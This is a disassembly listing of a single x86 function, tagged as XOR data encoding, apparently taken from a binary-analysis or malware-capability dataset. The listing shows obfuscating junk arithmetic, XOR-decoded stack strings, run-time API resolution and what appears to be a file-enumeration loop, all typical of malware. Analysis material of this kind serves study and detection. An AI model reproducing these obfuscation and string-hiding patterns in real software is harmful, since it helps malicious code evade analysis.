Function at 0x410713
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x4a4
push ebx
push ebp
push esi
movzx esi, word [0x42b904]
mov eax, 0x2f0b
imul esi, eax
mov ebp, ecx
push edi
push 0x1000
mov dword [esp + 0x3c], edx
movzx eax, si
add eax, 0x15c0783d
mov dword [0x42b8c4], eax
lea eax, [esi + 0x5d65]
mov word [0x42b904], ax
call fcn.0040570b
pop ecx
mov ecx, dword [0x42b8c4]
mov esi, eax
push dword [esp + 0x4bc]
and ecx, 0x853
mov word [0x42b904], cx
call fcn.0040702c
mov ebx, eax
mov dword [esp + 0x40], ebx
pop ecx
test esi, esi
je 0x410ad5
push 0x7c
pop eax
mov word [esp + 0x30], ax
xor eax, eax
and dword [esp + 0x34], eax
mov word [esp + 0x32], ax
mov eax, dword [0x42b8c4]
or eax, 0x55da
sub eax, 0x65c1
or eax, 0x3080
imul eax, eax, 0x6864
add eax, 0x2214
mov word [0x42b904], ax
movzx eax, ax
or eax, 0x5f030815
xor eax, 0x58c7fa3
mov dword [0x42b8c4], eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x34]
push eax
push ebx
call fcn.004057dc
mov ecx, dword [0x42b8c4]
mov edi, eax
mov edx, ecx
add esp, 0xc
xor edx, 0x7c9b
xor ecx, 0x40e1dfde
test edi, edi
je 0x410ab5
mov ebx, dword [esp + 0x38]
mov dword [esp + 0x10], 0x29061950
xor eax, eax
mov dword [esp + 0x14], 0x14161a39
mov dword [esp + 0x18], 0xd305519
mov dword [esp + 0x1c], 0x61b1001
mov dword [esp + 0x20], 0x551b1a1c
mov dword [esp + 0x24], 0x1011026
mov dword [esp + 0x28], 0x6121b1c
mov dword [esp + 0x2c], 0x6195029
movq xmm1, qword [esp + eax + 0x10]
movq xmm0, qword [0x429000]
pxor xmm1, xmm0
xorps xmm0, xmm0
punpcklbw xmm1, xmm0
movups xmmword [esp + eax*2 + 0x68], xmm1
add eax, 8
cmp eax, 0x20
jl 0x410847
xor eax, eax
mov word [esp + 0xa8], ax
mov eax, 0xdb41
and dx, ax
mov eax, 0xcbbc
movzx ecx, dx
mov edx, 0xf89245cb
imul ecx, eax
push edi
movzx eax, cx
xor ecx, ecx
add eax, 0x76248801
inc ecx
mov dword [0x42b8c4], eax
imul eax, eax, 0x1806
mov word [0x42b904], ax
lea eax, [esp + 0xb4]
push eax
call fcn.0041568d
call eax
xor dword [0x42b8c4], 0x4e3ee554
mov eax, 0x38cb
and word [0x42b904], ax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x34]
push eax
push 0
call fcn.004057dc
movzx ecx, word [0x42b904]
add esp, 0xc
or ecx, 0x4e457eef
mov edx, 0xe3740fb6
mov dword [0x42b8c4], ecx
xor ecx, 0x53a7
mov word [0x42b904], cx
xor ecx, ecx
push eax
push ebx
lea eax, [esp + 0x70]
push eax
push 0x800
push esi
call fcn.0041568d
call eax
mov eax, dword [0x42b8c4]
add esp, 0x14
and eax, 0x3f3
xor ecx, ecx
mov word [0x42b904], ax
mov edx, 0xeeb55893
imul eax, dword [0x42b8c4], 0x5330db34
inc ecx
push esi
mov dword [0x42b8c4], eax
call fcn.0041568d
call eax
mov edx, dword [0x42b8c4]
sub edx, 0x3bccf427
cmp eax, 0xffffffff
je 0x410a6c
test al, 0x10
je 0x410a6c
mov dword [esp + 0x10], 0x2d2d2016
xor ecx, ecx
mov dword [esp + 0x14], 0x6e323524
mov dword [esp + 0x18], 0x1e322d64
mov dword [esp + 0x1c], 0x1e322d64
mov word [esp + 0x20], 0x2d64
mov byte [esp + 0x22], 0x32
mov al, byte [esp + ecx + 0x10]
xor al, 0x41
movzx eax, al
mov word [esp + ecx*2 + 0x40], ax
inc ecx
cmp ecx, 0x13
jl 0x41099d
push dword [esp + 0x4b8]
xor eax, eax
mov word [esp + 0x6a], ax
lea eax, [edx - 0x2fbb]
movzx eax, ax
and eax, 0xb123bcfd
mov dword [0x42b8c4], eax
and eax, 0x81c
or eax, 0x8200
mov word [0x42b904], ax
lea eax, [esp + 0xb4]
push ebp
push eax
lea eax, [esp + 0x4c]
push eax
call fcn.0042318b
mov edx, dword [0x42b8c4]
mov edi, eax
imul ecx, edx, 0xc500
add esp, 0x10
add edx, 0x61bfba0b
movzx ecx, cx
test edi, edi
je 0x410a6c
add ecx, 0x4da1
mov edx, edi
xor ecx, 0x32d7
movzx eax, cx
mov word [0x42b904], cx
and eax, 0x3531ccee
mov ecx, esi
mov dword [0x42b8c4], eax
call fcn.0041e38c
mov eax, dword [0x42b8c4]
movzx ecx, ax
sub eax, 0x648aa987
mov dword [0x42b8c4], eax
push edi
lea eax, [ecx - 0x678f]
xor eax, 0x886a
mov word [0x42b904], ax
call fcn.004056f0
mov edx, dword [0x42b8c4]
pop ecx
lea eax, [edx - 0x7bab]
mov word [0x42b904], ax
movzx eax, ax
and eax, 0x72d67011
mov dword [0x42b8c4], eax
lea eax, [esp + 0x34]
push eax
lea eax, [esp + 0x34]
push eax
push 0
call fcn.004057dc
mov edi, eax
add esp, 0xc
test edi, edi
je 0x410aab
mov dx, word [0x42b904]
jmp 0x410805
mov ecx, dword [0x42b8c4]
mov ebx, dword [esp + 0x3c]
and ecx, 0x55a5ff7e
mov dword [0x42b8c4], ecx
xor ecx, 0x6154
push esi
mov word [0x42b904], cx
call fcn.004056f0
pop ecx
imul eax, dword [0x42b8c4], 0x9c66
push ebx
mov word [0x42b904], ax
call fcn.004056f0
pop ecx
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x4a4
ret